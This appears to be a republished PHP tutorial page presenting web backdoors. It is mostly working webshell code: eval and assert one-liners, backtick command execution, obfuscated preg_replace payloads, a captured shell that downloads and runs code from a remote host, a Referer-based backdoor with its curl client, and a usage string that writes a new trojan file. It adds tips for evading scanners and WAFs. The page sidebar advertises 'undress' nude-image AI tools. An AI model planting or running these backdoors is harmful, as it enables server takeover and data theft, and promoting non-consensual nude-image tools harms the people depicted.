Home Backend Development PHP Tutorial Teach you to identify simple PHP backdoors without checking and killing_php skills

Teach you to identify simple PHP backdoors without checking and killing_php skills

May 16, 2016 pm 08:07 PM

One of the most common one-sentence backdoors might be written like this

<&#63;php @eval($_POST['cmd']);&#63;>
Copy after login

or this

<&#63;php @assert($_POST['cmd']);&#63;>
Copy after login

Student tudouya gave [a construction technique] on FREEBUF using

Copy code The code is as follows:


Construction generation, of course, if it is too intuitive, you can write it like this

Copy code The code is as follows:


Then fill in some ordinary code to disguise it, and a simple "anti-kill" shell sample appears

Let’s take a look at what is known as the easiest PHP backdoor in history

Go directly to the code:

<&#63;php
 
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
 
!$_GET['c']||`{$_GET['c']}`;//精简
 
/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/&#63;c=type%20config.php>config.txt
 *    然后就可以下载config.txt查看内容了!
 *    可以试试更变态的命令,不要干坏事哦!
 *******************************************************/



Copy after login

The implementation principle is that PHP will directly parse the content contained in the ` symbol (note: not single quotes) into system commands for execution! This way you can expand freely and abnormally!

Let’s look at the same simple piece of code

<&#63;php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
&#63;> 
Copy after login

Password page

Recently captured a webshell sample based on PHP. Its ingenious dynamic code generation method and cumbersome self-page disguise method made us feel a lot of fun in the process of analyzing this sample. Next, let us enjoy this wonderful Webshell together.

Webshell code is as follows:

<&#63;php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s&#63;%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
&#63;>
Copy after login

The key is to look at the following code,

Copy code The code is as follows:

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

After execution here, it is actually a picture. The decrypted picture address is as follows:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
Then call the file_get_contents function to read the image into a string, then substr takes the content after 3649 bytes, and then call gzuncompress to decompress to get the real code. Finally, the modifier e of preg_replace is called to execute the malicious code. Execute the following statement here to restore the malicious sample code,

Copy code The code is as follows:

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

Hide PHP without features in one sentence:

   <&#63;php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
&#63;>
 
Copy after login

Assign the content of $_POST['code'] to $_SESSION['theCode'], and then execute $_SESSION['theCode']. The highlight is that there is no feature code. If you use a scanning tool to check the code, it will not alarm you, which is the purpose.
Super hidden PHP backdoor:

<&#63;php $_GET [a]( $_GET [b]);&#63;>
Copy after login


Just using the GET function constitutes a Trojan horse;
How to use:
​ ?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

After execution, the current directory will generate a c.php Trojan with one sentence. When the parameter a is eval, an error will be reported that the Trojan generation failed. When it is assert, the same error will be reported, but the Trojan will be generated. It is really not to be underestimated. It is a simple sentence. , is extended to such applications.
Hierarchical request, coded to run PHP backdoor:
This method is implemented in two files, file 1

 <&#63;php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); 
} 

&#63;>

Copy after login

File 2

 <&#63;php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要执行的代码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//进行base64编码 
$code = base64_encode ( $code ); 
//构造referer字符串 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后门url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

&#63;>


Copy after login

Use HTTP_REFERER in the HTTP request to run the base64-encoded code to achieve the backdoor effect. Generally, WAF has a looser or no detection of referer. It is good to use this idea to bypass waf.

We treat these PHP backdoor programs with a learning attitude. Many PHP backdoor codes let us see how well-intentioned the programmers are.

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

Describe the SOLID principles and how they apply to PHP development. Describe the SOLID principles and how they apply to PHP development. Apr 03, 2025 am 12:04 AM

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

How to automatically set permissions of unixsocket after system restart? How to automatically set permissions of unixsocket after system restart? Mar 31, 2025 pm 11:54 PM

How to automatically set the permissions of unixsocket after the system restarts. Every time the system restarts, we need to execute the following command to modify the permissions of unixsocket: sudo...

How to debug CLI mode in PHPStorm? How to debug CLI mode in PHPStorm? Apr 01, 2025 pm 02:57 PM

How to debug CLI mode in PHPStorm? When developing with PHPStorm, sometimes we need to debug PHP in command line interface (CLI) mode...

Explain the concept of late static binding in PHP. Explain the concept of late static binding in PHP. Mar 21, 2025 pm 01:33 PM

Article discusses late static binding (LSB) in PHP, introduced in PHP 5.3, allowing runtime resolution of static method calls for more flexible inheritance.Main issue: LSB vs. traditional polymorphism; LSB's practical applications and potential perfo

How to send a POST request containing JSON data using PHP's cURL library? How to send a POST request containing JSON data using PHP's cURL library? Apr 01, 2025 pm 03:12 PM

Sending JSON data using PHP's cURL library In PHP development, it is often necessary to interact with external APIs. One of the common ways is to use cURL library to send POST�...

Framework Security Features: Protecting against vulnerabilities. Framework Security Features: Protecting against vulnerabilities. Mar 28, 2025 pm 05:11 PM

Article discusses essential security features in frameworks to protect against vulnerabilities, including input validation, authentication, and regular updates.

See all articles